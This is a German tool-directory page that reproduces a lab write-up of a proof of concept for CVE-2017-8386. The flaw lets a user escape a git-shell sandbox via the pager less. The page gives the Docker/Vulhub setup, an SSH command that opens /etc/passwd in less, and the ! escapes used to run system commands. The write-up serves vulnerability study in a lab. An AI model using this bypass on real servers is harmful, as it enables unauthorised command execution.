Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
WHS3_vulhub — PoC für die Sandbox-Bypass-Schwachstelle CVE-2017-8386 in Git-Shell. | Kitploit
Tools/GitHubGitHub/suz1n/whs3_vulhub
Container-SicherheitSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubsuz1n/whs3_vulhub

WHS3_vulhub

PoC für die Sandbox-Bypass-Schwachstelle CVE-2017-8386 in Git-Shell.

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2017-8386: git-shell Sandbox-Umgehung zu RCE PoC

정수진(@suz1n)

Übersicht

Git-shell bietet eine Umgebung, die über SSH nur eingeschränkte Git-Befehle zulässt. In bestimmten Versionen von git-shell (wie 2.12.2) gibt es jedoch eine Schwachstelle (CVE-2017-8386), die es ermöglicht, den Sandbox zu umgehen und Systembefehle auszuführen, indem der less-Befehl missbraucht wird.

Dieser Bericht dokumentiert den PoC für diese Schwachstelle und fasst den Ablauf zusammen.

Umgebungsaufbau

Verwendete Tools und Versionen

  • Docker: 24.0.7
  • Docker-Compose: v2.34.0
  • Host OS: macOS
  • Target OS: Ubuntu 16.04 (im Container)
  • Git Version: 2.12.2
  • SSH Server

Klonen des Vulhub-Repository

git clone https://github.com/phith0n/vulhub.git

cd vulhub/git/CVE-2017-8386/ Image1

Konfiguration von docker-compose.yml und Dockerfile

root@kitploit:~
• Base-Image Ubuntu 16.04
• Installation von Git 2.12.2 aus dem Quellcode
• Installation und Ausführung des OpenSSH-Servers
• Konfiguration der git-shell-Umgebung (Erstellen des Benutzers git)

Erstellen und Starten des Containers

docker-compose build

docker-compose up -d

docker ps

root@kitploit:~
• Container-Ausführung bestätigt (git-shell-cve-2017-8386)

Image2

SSH-Schlüsselregistrierung und Umgebungskonfiguration

root@kitploit:~
1. Erstellen und Kopieren von id_rsa.pub auf dem lokalen System
2. Zugriff auf den Container und Wechsel zum Benutzer git
3. Eintrag in authorized_keys

docker exec -it git-shell-cve-2017-8386 /bin/bash

chsh -s /bin/bash git

su git

mkdir -p ~/.ssh

chmod 700 ~/.ssh

touch ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

vim ~/.ssh/authorized_keys

Image3

Installation zusätzlicher Pakete

apt update

apt install less -y

apt install man-db -y

root@kitploit:~
• Installation der Pakete less und man für den PoC abgeschlossen

PoC-Ablauf

Normaler SSH-Zugriff

ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"

• Erfolgreicher Eintritt in die less-Oberfläche • Systembefehle können über den !-Befehl ausgeführt werden

Ausführen von Befehlen (Sandbox-Umgehung)

• !id -> Ausgabe von Benutzer-ID und Gruppen-ID first_execute.png • !whoami -> aktueller Benutzer (git) • !uname -a -> Ausgabe von System-Kernel-Informationen • !ls /home/git -> Ausgabe der Dateiliste des git-Home-Verzeichnisses

Analyse

root@kitploit:~
• In der git-shell-Umgebung ist es Benutzern nicht erlaubt, Systembefehle auszuführen.
• Allerdings kann durch den Befehl `git-upload-archive --help` intern less aufgerufen werden.
• Der less-Befehl unterstützt die Ausführung von Shell-Befehlen über die !-Funktion.
• Folglich ist es möglich, die git-shell-Sandbox zu umgehen und beliebige Befehle auszuführen.

Referenzen

• Insinuator Blog: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/ • Vulhub GitHub Repository: https://github.com/phith0n/vulhub

GitHub-Repository-Link

https://github.com/suz1n/WHS3_vulhub

Tool herunterladen